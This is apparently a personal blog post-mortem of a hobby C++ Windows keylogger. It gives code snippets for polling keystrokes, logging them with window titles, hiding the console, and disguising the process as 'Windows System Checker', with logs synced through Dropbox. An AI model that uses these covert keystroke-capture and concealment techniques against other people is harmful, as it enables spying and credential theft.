When I first arrived at UCSB, I realized that this was the first time I would be living with roommates (that weren't family). I had a Windows machine and I had recently just learned how easy it was to break Windows Passwords (In fact, I had just made some money helping some family friends recover some of their lost passwords). Thus, I was a bit worried about unwanted smart people rummaging through my computer. It occurred to me that this was a perfect excuse to build a simple keylogger. Besides, keyloggers had always fascinated me, simply because they were flashy and appeared in the news any time someone was talking about the dangers of computer hackers.
My first intuition was that since C++ was so low-level (when compared to other languages), keylogging with it had to be simple and efficient. In a week or so, I whipped up a ~280ish line program. Note that my keylogger relied on the window.h and windowuser.h libraries, because it was intended for use in my Windows machine.
Now, after a few years have passed, I wanted to do a small post-mortem of this code. Bare with me as we dive into some half-cooked old old code!
On my main() I was initially using GetAsyncKeyState() from windows.h to check for each keystate. Essentially checking all keys, which have addresses from 8 to 255. The line GetAsyncKeyState(i) == -32767 is a bit hacky, but that is what this function returns if a key was just pressed and released. (Although apparently this isn't the best way to do it.)
unsigned char i; while (true) { for (i = 8; i <= 255; i++) { if (GetAsyncKeyState(i) == -32767){ int a = log(i,"LOG.txt"); } } }
The log(key,file) function is where the magic happens, it takes a key that has been pressed, passes it through a filter function (explained later), figures out the focused window where the keypress was collected from and saves all that info to the log file. Here is a shortened version of the log function that focuses on the important parts.
int log(int key,char* file){ fstream outFile(file,ios::out | ios::app); //etc, etc, etc .... if (!isSameWindow()){ outFile << "\n\n */\n/*" << windowName << endl; outFile << ">>---------------------------------------\n\n"; } savePrevWindow(); //etc, etc, etc .... key = filter(key); print(key); outFile << (char) key; outFile.close(); savePrevWindow(); }
The filter(key) function simply checks if (Shift) or (Caps Lock) are being pressed, and if so, it accounts for them. In other words, when you get a keypress for the (1) key, if (Shift) is also being pressed, then the actual character that should be logged is (!).
if (hookShift()){ if (key == 186){key = ':';} else if (key == 187){key = '+';} //...etc, etc, etc. }
To figure out what screen is on the foreground (where the user is typing) we simply use the GetWindowText() and GetForegroundWindow() from windowuser.h.
void savePrevWindow(){ HWND hwnd=GetForegroundWindow(); int test=GetWindowText(hwnd,prevWindow,80); } bool isSameWindow(){ HWND hwnd=GetForegroundWindow(); int test=GetWindowText(hwnd,windowName,80); if (strcmp(windowName,prevWindow) == 0){ return true; } else{ return false;} }
Last, but not least, we have a fancy-pants function to hide our keylogger from plain sight. Essentially it opens a hidden console and runs there. The only way the user will notice this is if they look into their Task Manager.
void stealth(){ HWND stealth; //Name of the Console AllocConsole(); //Allocates New Console stealth = FindWindowA("ConsoleWindowClass", NULL); //Finds Window MoveWindow(stealth,-300,-700,0,0,TRUE); //Moves Window out of Sight ShowWindow(stealth,0); //Cloaks Window //Not necessary. But feel free to play around with this: //SetPriorityClass(GetCurrentProcess(),HIGH_PRIORITY_CLASS); }
I compiled this code with g++ on Cygwin and called it something benign such as "Windows System Checker", so that even if someone opened the Task Manager, my keylogger would not arrise suspicion.
Now, since the move-in date was approaching soon. I decided to forget about building an email module that would alert me and send log files when somebody was accessing my computer, instead I piggybacked on Dropbox, which I already had installed on my computer. So the program ran and saved files into Dropbox folders which would automatically update and thus alert me on my phone or other computers.
I ran this keylogger for a while, but it did have one major drawback: CPU consumption. For some reason that is still rather unknown to me, it takes up to 50% CPU usage. That is insane, and honestly quite ridiculous for any self-respected keylogger.
Seeing this, I decided to abandon my C++ prototype and try something different.
I decided to try Python....
[Continue to "Capture the Keys - Chapter 2: Plogger"]
Complete Code
Recent Comments